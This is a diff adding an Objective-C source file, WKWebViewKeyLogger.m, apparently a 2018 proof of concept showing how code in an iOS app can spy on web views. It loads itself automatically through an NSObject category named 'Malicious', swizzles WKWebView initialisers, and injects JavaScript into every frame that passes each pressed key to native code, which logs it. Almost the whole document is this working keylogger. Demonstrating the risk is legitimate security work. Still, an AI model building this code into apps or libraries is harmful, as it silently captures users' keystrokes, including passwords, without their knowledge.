hfossli · October 11, 2018 07:17 · Oct 11, 2018
diff --git a/WKWebViewKeyLogger.m b/WKWebViewKeyLogger.m
@@ -0,0 +1,117 @@
+//
+// Author: Håvard Fossli <[email protected]>
+//
+// Copyright (c) 2018 Agens AS (http://agens.no/)
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+
+/*
+ 
+ WKWebViewKeyLogger will automatically add itself to the objc runtime and add a keylogger to any WKWebView created.
+ 
+ This software should only be used for educational and ethical purposes.
+ 
+ */
+
+#import <objc/runtime.h>
+#import <WebKit/WebKit.h>
+
+@interface WKWebViewKeyLogger : NSObject <WKScriptMessageHandler>
++ (instancetype)sharedInstance;
++ (NSString *)script;
+@end
+
+
+@interface NSObject (Malicious)
+@end
+@implementation NSObject (Malicious)
++ (void)load {
+    [WKWebViewKeyLogger sharedInstance];
+}
+@end
+
+@implementation WKWebView (WKWebViewKeyLogger)
+
+- (instancetype)init_WKWebViewKeyLogger {
+    self = [self initWithFrame:CGRectZero configuration:[WKWebViewConfiguration new]]; // calls swizzled init
+    return self;
+}
+
+- (instancetype)init_WKWebViewKeyLogger_withFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
+    configuration = [configuration copy] ?: [WKWebViewConfiguration new];
+    WKUserScript *script = [[WKUserScript alloc] initWithSource:[WKWebViewKeyLogger script] injectionTime:WKUserScriptInjectionTimeAtDocumentStart forMainFrameOnly:FALSE];
+    WKUserContentController *contents = [WKUserContentController new];
+    [contents addUserScript:script];
+    [contents addScriptMessageHandler:[WKWebViewKeyLogger sharedInstance] name:@"malicious"];
+    configuration.userContentController = contents;
+
+    self = [self init_WKWebViewKeyLogger_withFrame:frame configuration:configuration]; // calls WKWebView's init
+    return self;
+}
+
+- (instancetype)init_WKWebViewKeyLogger_withCoder:(NSCoder *)coder {
+    // TODO: Probably need to create a new WKWebView with the coder and copy all its values and settings
+    self = [self init_WKWebViewKeyLogger_withCoder:coder]; // calls WKWebView's init
+    return self;
+}
+
+@end
+
+@implementation WKWebViewKeyLogger
+
++ (NSString *)script {
+    return
+    @"document.onkeydown = function (e) {"
+    @"  window.webkit.messageHandlers.malicious.postMessage(e.key);"
+    @"};";
+}
+
+static void SwizzleMethods(Class c, SEL orig, SEL new) {
+    struct objc_method *origMethod = class_getInstanceMethod(c, orig);
+    struct objc_method *newMethod = class_getInstanceMethod(c, new);
+    if(class_addMethod(c, orig, method_getImplementation(newMethod), method_getTypeEncoding(newMethod)))
+        class_replaceMethod(c, new, method_getImplementation(origMethod), method_getTypeEncoding(origMethod));
+    else
+        method_exchangeImplementations(origMethod, newMethod);
+}
+
++ (instancetype)sharedInstance {
+    static WKWebViewKeyLogger *sharedInstance;
+    static dispatch_once_t onceToken;
+    dispatch_once(&onceToken, ^{
+        sharedInstance = [self new];
+        [sharedInstance swizzleInitMethods];
+    });
+    return sharedInstance;
+}
+
+- (void)swizzleInitMethods {
+    static dispatch_once_t onceToken;
+    dispatch_once(&onceToken, ^{
+        SwizzleMethods([WKWebView class], @selector(init), @selector(init_WKWebViewKeyLogger));
+        SwizzleMethods([WKWebView class], @selector(initWithFrame:configuration:), @selector(init_WKWebViewKeyLogger_withFrame:configuration:));
+        SwizzleMethods([WKWebView class], @selector(initWithCoder:), @selector(init_WKWebViewKeyLogger_withCoder:));
+    });
+}
+
+- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
+    NSLog(@"😈: %@", message.body);
+}
+
+@end
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